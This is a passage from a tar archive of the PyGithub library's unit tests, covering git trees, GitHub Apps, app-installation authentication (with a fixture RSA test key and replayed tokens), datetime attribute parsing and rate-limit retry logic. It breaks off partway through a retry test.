sha="f5f37322407b02a80de4526ad88d5f188977bc3c")') self.assertEqual(self.tag.verification.reason, "unsigned") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitTree.py0000644000175100001660000001133614756101563016051 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class GitTree(Framework.TestCase): def setUp(self): super().setUp() self.tree = self.g.get_user().get_repo("PyGithub").get_git_tree("f492784d8ca837779650d1fb406a1a3587a764ad") def testAttributes(self): self.assertEqual(self.tree.sha, "f492784d8ca837779650d1fb406a1a3587a764ad") self.assertEqual(len(self.tree.tree), 11) self.assertEqual(self.tree.tree[0].mode, "100644") self.assertEqual(self.tree.tree[0].path, ".gitignore") self.assertEqual(self.tree.tree[0].sha, "8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd") self.assertEqual(self.tree.tree[0].size, 53) self.assertEqual(self.tree.tree[0].type, "blob") self.assertEqual( self.tree.tree[0].url, "https://api.github.com/repos/jacquev6/PyGithub/git/blobs/8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd", ) self.assertEqual(self.tree.tree[6].mode, "040000") self.assertEqual(self.tree.tree[6].path, "ReplayDataForIntegrationTest") self.assertEqual(self.tree.tree[6].sha, "60b4602b2c2070246c5df078fb7a5150b45815eb") self.assertEqual(self.tree.tree[6].size, None) self.assertEqual(self.tree.tree[6].type, "tree") self.assertEqual( self.tree.tree[6].url, "https://api.github.com/repos/jacquev6/PyGithub/git/trees/60b4602b2c2070246c5df078fb7a5150b45815eb", ) self.assertIsNone(self.tree.truncated) self.assertEqual( self.tree.url, "https://api.github.com/repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad", ) self.assertEqual( repr(self.tree), 'GitTree(sha="f492784d8ca837779650d1fb406a1a3587a764ad")', ) self.assertEqual( repr(self.tree.tree[0]), 'GitTreeElement(sha="8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd", path=".gitignore")', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GithubApp.py0000644000175100001660000001642214756101563016372 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 chantra # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone import github from . import Framework from .GithubIntegration import APP_ID, PRIVATE_KEY class GithubApp(Framework.TestCase): def setUp(self): super().setUp() self.app_slug = "github-actions" self.app = self.g.get_app(slug=self.app_slug) # fetch lazy object self.app.id def testAttributes(self): app = self.app self.assertEqual(app.client_id, "Iv1.05c79e9ad1f6bdfa") self.assertIsNone(app.client_secret) self.assertEqual(app.created_at, datetime(2018, 7, 30, 9, 30, 17, tzinfo=timezone.utc)) self.assertEqual(app.description, "Automate your workflow from idea to production") self.assertListEqual( app.events, [ "branch_protection_rule", "check_run", "check_suite", "create", "delete", "deployment", "deployment_status", "discussion", "discussion_comment", "fork", "gollum", "issues", "issue_comment", "label", "merge_group", "milestone", "page_build", "project", "project_card", "project_column", "public", "pull_request", "pull_request_review", "pull_request_review_comment", "push", "registry_package", "release", "repository", "repository_dispatch", "status", "watch", "workflow_dispatch", "workflow_run", ], ) self.assertEqual(app.external_url, "https://help.github.com/en/actions") self.assertEqual(app.html_url, "https://github.com/apps/github-actions") self.assertEqual(app.id, 15368) self.assertIsNone(app.installations_count) self.assertEqual(app.name, "GitHub Actions") self.assertEqual(app.node_id, "MDM6QXBwMTUzNjg=") self.assertEqual(app.owner.login, "github") self.assertIsNone(app.pem) self.assertDictEqual( app.permissions, { "actions": "write", "administration": "read", "attestations": "write", "checks": "write", "contents": "write", "deployments": "write", "discussions": "write", "issues": "write", "merge_queues": "write", "metadata": "read", "packages": "write", "pages": "write", "pull_requests": "write", "repository_hooks": "write", "repository_projects": "write", "security_events": "write", "statuses": "write", "vulnerability_alerts": "read", }, ) self.assertEqual(app.slug, "github-actions") self.assertEqual(app.updated_at, datetime(2024, 4, 10, 20, 33, 16, tzinfo=timezone.utc)) self.assertEqual(app.url, "/apps/github-actions") self.assertIsNone(app.webhook_secret) def testGetAuthenticatedApp(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) g = github.Github(auth=auth) with self.assertWarns(DeprecationWarning) as warning: # httpretty has some deprecation warnings in Python 3.12 with self.ignoreWarning(category=DeprecationWarning, module="httpretty"): app = g.get_app() self.assertWarning( warning, "Argument slug is mandatory, calling this method without the slug argument is deprecated, " "please use github.GithubIntegration(auth=github.Auth.AppAuth(...)).get_app() instead", ) self.assertEqual(app.created_at, datetime(2020, 8, 1, 17, 23, 46, tzinfo=timezone.utc)) self.assertEqual(app.description, "Sample App to test PyGithub") self.assertListEqual( app.events, ["check_run", "check_suite", "label", "member", "public"], ) self.assertEqual(app.external_url, "https://pygithub.readthedocs.io") self.assertEqual(app.html_url, "https://github.com/apps/pygithubtest") self.assertEqual(app.id, 75269) self.assertEqual(app.name, "PyGithubTest") self.assertEqual(app.owner.login, "wrecker") self.assertDictEqual( app.permissions, { "actions": "write", "checks": "write", "keys": "read", "members": "read", "metadata": "read", "packages": "read", "pages": "read", "repository_hooks": "write", "vulnerability_alerts": "read", "workflows": "write", }, ) self.assertEqual(app.slug, "pygithubtest") self.assertEqual(app.updated_at, datetime(2020, 8, 1, 17, 44, 31, tzinfo=timezone.utc)) self.assertEqual(app.url, "/apps/pygithubtest") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GithubIntegration.py0000644000175100001660000003657414756101563020147 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2019 Jake Wilkins # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Tomas Tomecek # # Copyright 2019 Wan Liuyang # # Copyright 2019 秋葉 # # Copyright 2020 Steve Kowalik # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 chantra # # Copyright 2024 Enrico Minack # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import time # NOQA import requests # NOQA from urllib3.exceptions import InsecureRequestWarning import github from github import Consts from github.Auth import AppInstallationAuth from . import Framework APP_ID = 243473 PRIVATE_KEY = """ -----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQC+5ePolLv6VcWLp2f17g6r6vHl+eoLuodOOfUl8JK+MVmvXbPa xDy0SS0pQhwTOMtB0VdSt++elklDCadeokhEoGDQp411o+kiOhzLxfakp/kewf4U HJnu4M/A2nHmxXVe2lzYnZvZHX5BM4SJo5PGdr0Ue2JtSXoAtYr6qE9maQIDAQAB AoGAFhOJ7sy8jG+837Clcihso+8QuHLVYTPaD+7d7dxLbBlS8NfaQ9Nr3cGUqm/N xV9NCjiGa7d/y4w/vrPwGh6UUsA+CvndwDgBd0S3WgIdWvAvHM8wKgNh/GBLLzhT Bg9BouRUzcT1MjAnkGkWqqCAgN7WrCSUMLt57TNleNWfX90CQQDjvVKTT3pOiavD 3YcLxwkyeGd0VMvKiS4nV0XXJ97cGXs2GpOGXldstDTnF5AnB6PbukdFLHpsx4sW Hft3LRWnAkEA1pY15ke08wX6DZVXy7zuQ2izTrWSGySn7B41pn55dlKpttjHeutA 3BEQKTFvMhBCphr8qST7Wf1SR9FgO0tFbwJAEhHji2yy96hUyKW7IWQZhrem/cP8 p4Va9CQolnnDZRNgg1p4eiDiLu3dhLiJ547joXuWTBbLX/Y1Qvv+B+a74QJBAMCW O3WbMZlS6eK6//rIa4ZwN00SxDg8I8FUM45jwBsjgVGrKQz2ilV3sutlhIiH82kk m1Iq8LMJGYl/LkDJA10CQBV1C+Xu3ukknr7C4A/4lDCa6Xb27cr1HanY7i89A+Ab eatdM6f/XVqWp8uPT9RggUV9TjppJobYGT2WrWJMkYw= -----END RSA PRIVATE KEY----- """ PUBLIC_KEY = """ -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+5ePolLv6VcWLp2f17g6r6vHl +eoLuodOOfUl8JK+MVmvXbPaxDy0SS0pQhwTOMtB0VdSt++elklDCadeokhEoGDQ p411o+kiOhzLxfakp/kewf4UHJnu4M/A2nHmxXVe2lzYnZvZHX5BM4SJo5PGdr0U e2JtSXoAtYr6qE9maQIDAQAB -----END PUBLIC KEY----- """ class GithubIntegration(Framework.BasicTestCase): def setUp(self): super().setUp() self.org_installation_id = 30614487 self.repo_installation_id = 30614431 self.user_installation_id = 30614431 def testDeprecatedAppAuth(self): # Replay data copied from testGetInstallations to test authentication only with self.assertWarns(DeprecationWarning) as warning: github_integration = github.GithubIntegration(integration_id=APP_ID, private_key=PRIVATE_KEY) installations = github_integration.get_installations() self.assertEqual(len(list(installations)), 2) self.assertWarning( warning, "Arguments integration_id, private_key, jwt_expiry, jwt_issued_at and " "jwt_algorithm are deprecated, please use auth=github.Auth.AppAuth(...) " "instead", ) def testRequiredAppAuth(self): # GithubIntegration requires AppAuth authentication. for auth in [self.oauth_token, self.jwt, self.login]: with self.assertRaises(AssertionError) as r: github.GithubIntegration(auth=auth) self.assertEqual( str(r.exception), f"GithubIntegration requires github.Auth.AppAuth authentication, not {type(auth)}", ) def testAppAuth(self): # Replay data copied from testDeprecatedAppAuth to test parity auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) installations = github_integration.get_installations() self.assertEqual(len(list(installations)), 2) def testNoneAppAuth(self): with self.assertRaises(AssertionError): github.GithubIntegration(auth=None) def testGetInstallations(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) installations = github_integration.get_installations() self.assertEqual(len(list(installations)), 2) self.assertEqual(installations[0].id, self.org_installation_id) self.assertEqual(installations[1].id, self.repo_installation_id) def testGetGithubForInstallation(self): # with verify=False, urllib3.connectionpool rightly may issue an InsecureRequestWarning # we ignore InsecureRequestWarning from urllib3.connectionpool with self.ignoreWarning(category=InsecureRequestWarning, module="urllib3.connectionpool"): kwargs = dict( auth=github.Auth.AppAuth(APP_ID, PRIVATE_KEY), # http protocol used to deviate from default base url, recording data might require https base_url="http://api.github.com", timeout=Consts.DEFAULT_TIMEOUT + 10, user_agent="PyGithub/Python-Test", per_page=Consts.DEFAULT_PER_PAGE + 10, verify=False, retry=3, pool_size=10, seconds_between_requests=100, seconds_between_writes=1000, # v3: this should not be the default value, so if this has been changed in v3, # change it here is well lazy=True, ) # assert kwargs consists of ALL requester constructor arguments self.assertEqual(kwargs.keys(), github.Requester.Requester.__init__.__annotations__.keys()) github_integration = github.GithubIntegration(**kwargs) g = github_integration.get_github_for_installation(36541767) self.assertIsInstance(g._Github__requester.auth, AppInstallationAuth) actual = g._Github__requester.kwargs kwargs.update(auth=str(AppInstallationAuth)) actual.update(auth=str(type(actual["auth"]))) self.assertDictEqual(kwargs, actual) repo = g.get_repo("PyGithub/PyGithub") self.assertEqual(repo.full_name, "PyGithub/PyGithub") def testGetAccessToken(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) # Get repo installation access token repo_installation_authorization = github_integration.get_access_token(self.repo_installation_id) self.assertEqual( repo_installation_authorization.token, "ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", ) self.assertDictEqual( repo_installation_authorization.permissions, {"issues": "read", "metadata": "read"}, ) self.assertEqual(repo_installation_authorization.repository_selection, "selected") self.assertIsNone(repo_installation_authorization.repositories) self.assertIsNone(repo_installation_authorization.single_file) self.assertIsNone(repo_installation_authorization.has_multiple_single_files) self.assertIsNone(repo_installation_authorization.single_file_paths) # Get org installation access token org_installation_authorization = github_integration.get_access_token(self.org_installation_id) self.assertEqual( org_installation_authorization.token, "ghs_V0xygF8yACXSDz5FM65QWV1BT2vtxw0cbgPw", ) org_permissions = { "administration": "write", "issues": "write", "metadata": "read", "organization_administration": "read", } self.assertDictEqual(org_installation_authorization.permissions, org_permissions) self.assertEqual(org_installation_authorization.repository_selection, "selected") self.assertIsNone(org_installation_authorization.repositories) self.assertIsNone(org_installation_authorization.single_file) self.assertIsNone(org_installation_authorization.has_multiple_single_files) self.assertIsNone(org_installation_authorization.single_file_paths) # Get user installation access token user_installation_authorization = github_integration.get_access_token(self.user_installation_id) self.assertEqual( user_installation_authorization.token, "ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", ) self.assertDictEqual( user_installation_authorization.permissions, {"issues": "read", "metadata": "read"}, ) self.assertEqual(user_installation_authorization.repository_selection, "selected") self.assertIsNone(user_installation_authorization.repositories) self.assertIsNone(user_installation_authorization.single_file) self.assertIsNone(user_installation_authorization.has_multiple_single_files) self.assertIsNone(user_installation_authorization.single_file_paths) def testGetUserInstallation(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) installation = github_integration.get_user_installation(username="ammarmallik") self.assertEqual(installation.id, self.user_installation_id) def testGetOrgInstallation(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) installation = github_integration.get_org_installation(org="GithubApp-Test-Org") self.assertEqual(installation.id, self.org_installation_id) def testGetRepoInstallation(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) installation = github_integration.get_repo_installation(owner="ammarmallik", repo="test-runner") self.assertEqual(installation.id, self.repo_installation_id) def testGetAppInstallation(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) installation = github_integration.get_app_installation(installation_id=self.org_installation_id) self.assertEqual(installation.id, self.org_installation_id) def testGetInstallationNotFound(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.UnknownObjectException) as raisedexp: github_integration.get_org_installation(org="GithubApp-Test-Org-404") self.assertEqual(raisedexp.exception.status, 404) def testGetInstallationWithExpiredJWT(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: github_integration.get_org_installation(org="GithubApp-Test-Org") self.assertEqual( raisedexp.exception.message, "'Expiration time' claim ('exp') must be a numeric value representing the future time at which the assertion expires", ) self.assertEqual(raisedexp.exception.status, 401) def testGetAccessTokenWithExpiredJWT(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: github_integration.get_access_token(self.repo_installation_id) self.assertEqual( raisedexp.exception.message, "'Expiration time' claim ('exp') must be a numeric value representing the future time at which the assertion expires", ) self.assertEqual(raisedexp.exception.status, 401) def testGetAccessTokenForNoInstallation(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.UnknownObjectException) as raisedexp: github_integration.get_access_token(40432121) self.assertEqual(raisedexp.exception.status, 404) def testGetAccessTokenWithInvalidPermissions(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: github_integration.get_access_token(self.repo_installation_id, permissions={"test-permissions": "read"}) self.assertEqual(raisedexp.exception.message, "The permissions requested are not granted to this installation.") self.assertEqual(raisedexp.exception.status, 422) def testGetAccessTokenWithInvalidData(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: github_integration.get_access_token(self.repo_installation_id, permissions="invalid_data") self.assertIsNone(raisedexp.exception.message) self.assertEqual(raisedexp.exception.status, 400) def testGetApp(self): auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) github_integration = github.GithubIntegration(auth=auth) app = github_integration.get_app() self.assertEqual(app.name, "PyGithubTest") self.assertEqual(app.url, "/apps/pygithubtest") assert github_integration.requester is github_integration.__requester assert app.requester is app._requester ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GithubObject.py0000644000175100001660000001557114756101563017064 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Christoph Reiter # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Nicolas Schweitzer # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import unittest from datetime import datetime, timedelta, timezone import github.Repository import github.RepositoryDiscussion from . import Framework gho = Framework.github.GithubObject class GithubObject(unittest.TestCase): def testAttributesAsRest(self): _ = gho.as_rest_api_attributes self.assertIsNone(_(None)) self.assertDictEqual(_({}), {}) self.assertDictEqual(_({"id": "NID", "databaseId": "DBID"}), {"node_id": "NID", "id": "DBID"}) self.assertDictEqual(_({"someId": "someId"}), {"some_id": "someId"}) self.assertDictEqual(_({"someObj": {"someId": "someId"}}), {"some_obj": {"some_id": "someId"}}) self.assertDictEqual(_({"bodyHTML": ""}), {"body_html": ""}) def testApiType(self): self.assertEqual(github.Repository.Repository.is_rest(), True) self.assertEqual(github.Repository.Repository.is_graphql(), False) self.assertEqual(github.RepositoryDiscussion.RepositoryDiscussion.is_rest(), False) self.assertEqual(github.RepositoryDiscussion.RepositoryDiscussion.is_graphql(), True) def testMakeDatetimeAttribute(self): for value, expected in [ (None, None), ( "2021-01-23T12:34:56Z", datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone.utc), ), ( "2021-01-23T12:34:56+00:00", datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone.utc), ), ( "2021-01-23T12:34:56+01:00", datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone(timedelta(hours=1))), ), ( "2021-01-23T12:34:56-06:30", datetime( 2021, 1, 23, 12, 34, 56, tzinfo=timezone(timedelta(hours=-6, minutes=-30)), ), ), ]: actual = gho.GithubObject._makeDatetimeAttribute(value) self.assertEqual(gho._ValuedAttribute, type(actual), value) self.assertEqual(expected, actual.value, value) def testMakeHttpDatetimeAttribute(self): for value, expected in [ (None, None), # https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.1.1 ( "Mon, 11 Sep 2023 14:07:29 GMT", datetime(2023, 9, 11, 14, 7, 29, tzinfo=timezone.utc), ), # obsolete formats: ( "Monday, 11-Sep-23 14:07:29 GMT", datetime(2023, 9, 11, 14, 7, 29, tzinfo=timezone.utc), ), ( "Mon Sep 11 14:07:29 2023", datetime(2023, 9, 11, 14, 7, 29, tzinfo=timezone.utc), ), ]: actual = gho.GithubObject._makeHttpDatetimeAttribute(value) self.assertEqual(gho._ValuedAttribute, type(actual), value) self.assertEqual(expected, actual.value, value) def testMakeHttpDatetimeAttributeBadValues(self): for value in ["not a timestamp", 1234]: actual = gho.GithubObject._makeHttpDatetimeAttribute(value) with self.assertRaises(Framework.github.BadAttributeException): actual.value def testMakeDatetimeAttributeBadValues(self): for value in ["not a timestamp", 1234]: actual = gho.GithubObject._makeDatetimeAttribute(value) self.assertEqual(gho._BadAttribute, type(actual)) with self.assertRaises(Framework.github.BadAttributeException) as e: value = actual.value self.assertEqual(value, e.exception.actual_value) self.assertEqual(str, e.exception.expected_type) if isinstance(value, str): self.assertIsNotNone(e.exception.transformation_exception) else: self.assertIsNone(e.exception.transformation_exception) def testMakeTimestampAttribute(self): actual = gho.GithubObject._makeTimestampAttribute(None) self.assertEqual(gho._ValuedAttribute, type(actual)) self.assertIsNone(actual.value) actual = gho.GithubObject._makeTimestampAttribute(1611405296) self.assertEqual(gho._ValuedAttribute, type(actual)) self.assertEqual(datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone.utc), actual.value) def testMakeTimetsampAttributeBadValues(self): for value in ["1611405296", 1234.567]: actual = gho.GithubObject._makeTimestampAttribute(value) self.assertEqual(gho._BadAttribute, type(actual)) with self.assertRaises(Framework.github.BadAttributeException) as e: value = actual.value self.assertEqual(value, e.exception.actual_value) self.assertEqual(int, e.exception.expected_type) self.assertIsNone(e.exception.transformation_exception) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GithubRetry.py0000644000175100001660000004155514756101563016764 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Patryk Szulczyk # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import contextlib import logging import sys import unittest from datetime import datetime from io import BytesIO from unittest import mock import urllib3.response from urllib3 import Retry import github from github.GithubRetry import DEFAULT_SECONDARY_RATE_WAIT from . import Requester PrimaryRateLimitMessage = Requester.Requester.PrimaryRateLimitErrors[0] PrimaryRateLimitJson = ( '{"message":"' + PrimaryRateLimitMessage + '","documentation_url":"https://docs.github.com/rest/overview/resources-in-the-rest-api#rate-limiting"}' ) SecondaryRateLimitMessage = Requester.Requester.SecondaryRateLimitErrors[0] SecondaryRateLimitJson = ( '{"message":"' + SecondaryRateLimitMessage + '","documentation_url": "https://docs.github.com/en/free-pro-team@latest/rest/overview/resources-in-the-rest-api#secondary-rate-limits"}' ) class GithubRetry(unittest.TestCase): def get_test_increment_func(self, expected_rate_limit_error): is_primary = expected_rate_limit_error == PrimaryRateLimitMessage def test_increment( retry, response, expected_total=None, expected_backoff=None, expected_retry_backoff=None, expect_retry_error=False, has_reset=False, ): # fmt: off self.assertTrue( expected_total is not None and expected_backoff is not None and not expect_retry_error or # noqa: W504 expected_total is None and expected_backoff is None and expect_retry_error ) # fmt: on orig_retry = retry with mock.patch.object(retry, "_GithubRetry__log") as log: if expect_retry_error: with self.assertRaises(urllib3.exceptions.MaxRetryError): retry.increment("TEST", "URL", response) retry = None else: retry = retry.increment("TEST", "URL", response) self.assertEqual(expected_total, retry.total) self.assertEqual( expected_backoff if expected_retry_backoff is None else expected_retry_backoff, retry.get_backoff_time(), ) self.assertEqual(orig_retry.secondary_rate_wait, retry.secondary_rate_wait) # fmt: off log.assert_has_calls( [ mock.call(20, "Request TEST URL failed with 403: None"), mock.call(10, f"Response body indicates retry-able {'primary' if is_primary else 'secondary'} rate limit error: {expected_rate_limit_error}"), ] + ([ mock.call(10, "Reset occurs in 0:00:12 (1644768012 / 2022-02-13 16:00:12+00:00)") ] if has_reset else []) + ([ mock.call(10, f"Retry backoff of {expected_retry_backoff}s exceeds required rate limit backoff of {expected_backoff}s") ] if expected_retry_backoff and expected_backoff > 0 else []) + ([ mock.call(20, f"Setting next backoff to {expected_backoff if expected_retry_backoff is None else expected_retry_backoff}s") ] if not expect_retry_error else []), any_order=False, ) # fmt: on return retry return test_increment @staticmethod def response_func(content, reset=None): def response(): stream = BytesIO(content.encode("utf8")) return urllib3.response.HTTPResponse( body=stream, preload_content=False, headers={"X-RateLimit-Reset": f"{reset}"} if reset else {}, status=403, ) return response @contextlib.contextmanager def mock_retry_now(self, now): if sys.version_info[0] > 3 or sys.version_info[0] == 3 and sys.version_info[1] >= 11: attr = "github.GithubRetry.GithubRetry._GithubRetry__datetime" else: attr = "github.GithubRetry._GithubRetry__datetime" with mock.patch(attr) as dt: dt.now = lambda tz=None: datetime.fromtimestamp(now, tz=tz) dt.fromtimestamp = datetime.fromtimestamp yield def test_primary_rate_error_with_reset(self): retry = github.GithubRetry(total=3) response = self.response_func(PrimaryRateLimitJson, 1644768012) test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) # test 12 seconds before reset, note backoff will be 12+1 second with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=2, expected_backoff=12 + 1, has_reset=True, ) with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=1, expected_backoff=12 + 1, has_reset=True, ) # test 2 seconds after reset, no backoff expected with self.mock_retry_now(1644768014): retry = test_increment(retry, response(), expected_total=0, expected_backoff=0) test_increment(retry, response(), expect_retry_error=True) def test_primary_rate_error_with_reset_and_exponential_backoff(self): retry = github.GithubRetry(total=3, backoff_factor=10) response = self.response_func(PrimaryRateLimitJson, 1644768012) test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) # test 12 seconds before reset, note backoff will be 12+1 second with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=2, expected_backoff=12 + 1, has_reset=True, ) with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=1, expected_backoff=12 + 1, expected_retry_backoff=20, has_reset=True, ) # test 2 seconds after reset, no backoff expected with self.mock_retry_now(1644768014): retry = test_increment( retry, response(), expected_total=0, expected_backoff=-2, expected_retry_backoff=40, ) test_increment(retry, response(), expect_retry_error=True) def test_primary_rate_error_without_reset(self): retry = github.GithubRetry(total=3) response = self.response_func(PrimaryRateLimitJson, reset=None) test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) # test without reset retry = test_increment(retry, response(), expected_total=2, expected_backoff=0) retry = test_increment(retry, response(), expected_total=1, expected_backoff=0) retry = test_increment(retry, response(), expected_total=0, expected_backoff=0) test_increment(retry, response(), expect_retry_error=True) def test_primary_rate_error_without_reset_with_exponential_backoff(self): retry = github.GithubRetry(total=3, backoff_factor=10) response = self.response_func(PrimaryRateLimitJson, reset=None) test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) # test without reset retry = test_increment( retry, response(), expected_total=2, expected_backoff=0, expected_retry_backoff=0, ) retry = test_increment( retry, response(), expected_total=1, expected_backoff=0, expected_retry_backoff=20, ) retry = test_increment( retry, response(), expected_total=0, expected_backoff=0, expected_retry_backoff=40, ) test_increment(retry, response(), expect_retry_error=True) def test_secondary_rate_error_with_reset(self): retry = github.GithubRetry(total=3) response = self.response_func(SecondaryRateLimitJson, 1644768012) test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) # test 12 seconds before reset, expect secondary wait seconds of 60 with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=2, expected_backoff=60, has_reset=False, ) with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=1, expected_backoff=60, has_reset=False, ) # test 2 seconds after reset, still expect secondary wait seconds of 60 